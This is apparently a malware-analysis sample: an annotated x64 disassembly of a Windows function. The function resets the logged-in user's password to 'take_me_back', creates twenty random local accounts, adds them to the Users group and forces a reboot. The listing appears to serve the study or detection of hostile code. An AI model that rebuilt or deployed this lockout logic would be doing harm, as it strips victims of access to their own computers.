Function at 0x1400037e0
Capabilities:
Accept command line arguments
Add user account
Add user account to group
Get hostname
Get session user name
Shutdown system

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push rbp
lea rbp, [rsp - 0x3f0]
sub rsp, 0x4f0
mov rax, qword [0x140009040]
xor rax, rsp
mov qword [rbp + 0x3e0], rax
mov rbx, rcx
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov rcx, rax
lea rdx, [rbp - 0x68]
call qword [sym.imp.SHELL32.dll_CommandLineToArgvW]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_LocalFree]
mov r9d, 0x24
lea r8, [0x140006f08]
lea rdx, str.Do_you_want_to_continue_
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxW]
cmp eax, 7
je 0x140003bab
mov rcx, rbx
call fcn.140001340
mov rcx, rbx
call fcn.140001730
call fcn.140001be0
mov rcx, rbx
call fcn.1400034f0
mov rcx, rbx
call fcn.140002500
lea rdx, [rsp + 0x74]
mov dword [rsp + 0x74], 0x104
lea rcx, [rbp - 0x40]
call qword [sym.imp.KERNEL32.dll_GetComputerNameW]
lea rdx, [rsp + 0x70]
mov dword [rsp + 0x70], 0x101
lea rcx, [rbp + 0x1d0]
call qword [sym.imp.ADVAPI32.dll_GetUserNameW]
lea rdx, str.No_Control
lea rcx, [rsp + 0x38]
call fcn.140001200
cmp qword [rsp + 0x50], 7
lea rax, [rsp + 0x38]
lea r9, [rsp + 0x78]
mov r8d, 0x3f3
cmova rax, qword [rsp + 0x38]
lea rdx, [rbp + 0x1d0]
xor esi, esi
mov qword [rsp + 0x78], rax
lea rcx, [rbp - 0x40]
mov qword [rsp + 0x20], rsi
call qword [sym.imp.NETAPI32.dll_NetUserSetInfo]
lea rdx, str.take_me_back
lea rcx, [rbp - 0x60]
call fcn.140001200
cmp qword [rbp - 0x48], 7
lea rax, [rbp - 0x60]
lea r9, [rsp + 0x30]
mov qword [rsp + 0x20], rsi
cmova rax, qword [rbp - 0x60]
lea rdx, [rbp + 0x1d0]
mov r8d, 0x3eb
mov qword [rsp + 0x30], rax
lea rcx, [rbp - 0x40]
call qword [sym.imp.NETAPI32.dll_NetUserSetInfo]
mov rdx, qword [rbp - 0x48]
cmp rdx, 7
jbe 0x140003974
mov rcx, qword [rbp - 0x60]
lea rdx, [rdx*2 + 2]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000396f
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400039be
call fcn.1400047c4
mov rdx, qword [rsp + 0x50]
movdqa xmm0, xmmword [0x140006f70]
mov word [rbp - 0x60], si
movdqu xmmword [rbp - 0x50], xmm0
cmp rdx, 7
jbe 0x1400039ca
mov rcx, qword [rsp + 0x38]
lea rdx, [rdx*2 + 2]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400039c5
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400039c5
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400047c4
lea rdx, [rsp + 0x70]
mov dword [rsp + 0x70], 0x104
lea rcx, [rbp - 0x40]
call qword [sym.imp.KERNEL32.dll_GetComputerNameW]
mov edi, esi
xorps xmm0, xmm0
mov qword [rbp - 0x78], rsi
movups xmmword [rsp + 0x78], xmm0
mov word [rsp + 0x78], si
mov ebx, 0xff
mov qword [rbp - 0x70], 7
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
and eax, 0x800001ff
jge 0x140003a17
dec eax
or eax, 0xfffffe00
inc eax
mov rdx, qword [rbp - 0x78]
mov r8, qword [rbp - 0x70]
cmp rdx, r8
jae 0x140003a46
lea rcx, [rdx + 1]
cmp r8, 7
mov qword [rbp - 0x78], rcx
lea rcx, [rsp + 0x78]
cmova rcx, qword [rsp + 0x78]
mov word [rcx + rdx*2], ax
mov word [rcx + rdx*2 + 2], si
jmp 0x140003a54
movzx r9d, ax
lea rcx, [rsp + 0x78]
call fcn.1400040b0
sub rbx, 1
jne 0x140003a01
cmp qword [rbp - 0x70], 7
lea rax, [rsp + 0x78]
xorps xmm0, xmm0
mov dword [rsp + 0x48], esi
cmova rax, qword [rsp + 0x78]
lea r9, [rsp + 0x74]
mov qword [rsp + 0x38], rax
lea r8, [rsp + 0x38]
lea rax, [rsp + 0x78]
mov dword [rsp + 0x4c], 1
cmova rax, qword [rsp + 0x78]
lea rcx, [rbp - 0x40]
mov edx, 1
mov qword [rsp + 0x40], rax
movdqu xmmword [rsp + 0x50], xmm0
mov dword [rsp + 0x60], 0x200
mov qword [rsp + 0x68], rsi
call qword [sym.imp.NETAPI32.dll_NetUserAdd]
mov rax, qword [rsp + 0x38]
lea r9, [rsp + 0x30]
mov r8d, 3
mov qword [rsp + 0x30], rax
lea rdx, str.Users
mov dword [rsp + 0x20], 1
xor ecx, ecx
call qword [sym.imp.NETAPI32.dll_NetLocalGroupAddMembers]
mov rdx, qword [rbp - 0x70]
cmp rdx, 7
jbe 0x140003b27
mov rcx, qword [rsp + 0x78]
lea rdx, [rdx*2 + 2]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003b22
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003bd5
call fcn.1400047c4
inc edi
cmp edi, 0x14
jl 0x1400039e3
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea r8, [rsp + 0x30]
mov edx, 0x28
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x140003bab
lea r8, [rsp + 0x7c]
xor ecx, ecx
lea rdx, str.SeShutdownPrivilege
call qword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueW]
mov rcx, qword [rsp + 0x30]
lea r8, [rsp + 0x78]
xor r9d, r9d
mov qword [rsp + 0x28], rsi
xor edx, edx
mov dword [rsp + 0x78], 1
mov dword [rbp - 0x7c], 2
mov qword [rsp + 0x20], rsi
call qword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
call qword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
jne 0x140003bab
mov edx, 0x80020003
mov ecx, 6
call qword [sym.imp.USER32.dll_ExitWindowsEx]
xor eax, eax
mov rcx, qword [rbp + 0x3e0]
xor rcx, rsp
call fcn.140004520
lea r11, [rsp + 0x4f0]
mov rbx, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rdi, qword [r11 + 0x28]
mov rsp, r11
pop rbp
ret
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3